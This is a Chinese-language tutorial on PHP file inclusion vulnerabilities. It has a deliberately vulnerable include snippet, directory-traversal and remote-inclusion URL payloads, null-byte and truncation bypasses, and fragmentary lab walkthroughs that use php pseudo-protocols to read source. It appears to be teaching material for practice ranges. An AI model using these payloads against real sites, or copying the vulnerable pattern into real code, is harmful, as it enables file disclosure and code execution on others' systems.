原理
文件包含漏洞的产生原因是在通过 PHP 的函数引入文件时,由于传入的文件名没有经过合理的校验,从而操作了预想之外的文件,就可能导致意外的文件泄露甚至恶意的代码注入。
演示代码
<?php
$filename = $_GET['filename']
include($filename)
?>
在网站目录下有一个php.txt文件 文件的内容是<?php phpinfo();?>
向filename传参将1.txt包含进去
127.0.0.1/test,php?filename=1.txt
成功执行php代码
文件包含还可以包含不同目录下的文件,我在D盘根目录下有一个1.txt 内容同样是<?php phpinfo();?>
因此url应该这样写
127.0.0.1/test,php?filename=../../../1.txt
文件包含各个脚本代码
ASP,PHP,JSP,ASPX等
<!--#include file="1.asp" -->
<!--#include file="top.aspx" -->
<c:import url="http://thief.one/1.jsp">
<jsp:include page="head.jsp"/>
<%@ include file="head.jsp"%>
<?php Include('test.php')?>
本地包含-有限制
<?php
$filename=$_GET['filename'];
include($filename.".html");
?>
绕过方法
%00截断:条件:magic_quotes_gpc = Off php版本<5.3.4
filename=…/…/…/www.txt%00
长度截断:条件:windows,点号需要长于256;linux 长于4096
远程包含-有限制
只有这个开关打开才允许远程上传
无限制
http://127.0.0.1/test.php?filename=http://www.xxxx.com/1.txt
有限制
http://127.0.0.1/test.php?filename=http://www.xxxx.com/1.txt
http://127.0.0.1/test.php?filename=http://www.xxxx.com/1.txt%23
http://127.0.0.1/test.php?filename=http://www.xxxx.com/1.txt?
各种协议流玩法
各环境支持的协议
php伪协议
php伪协议 - 看不尽的尘埃 - 博客园 (cnblogs.com)
靶场演
示
https://www.ichunqiu.com/battalion?t=1&r=0
根据代码可知传递path值即可
使用php伪协议
发现一个可疑的php文件
访问看下
查看页面源代码
完事
靶场二
url上有一个file可以猜测是包含的文件名
使用php伪协议读取文件源码
base64加密
解码后的结果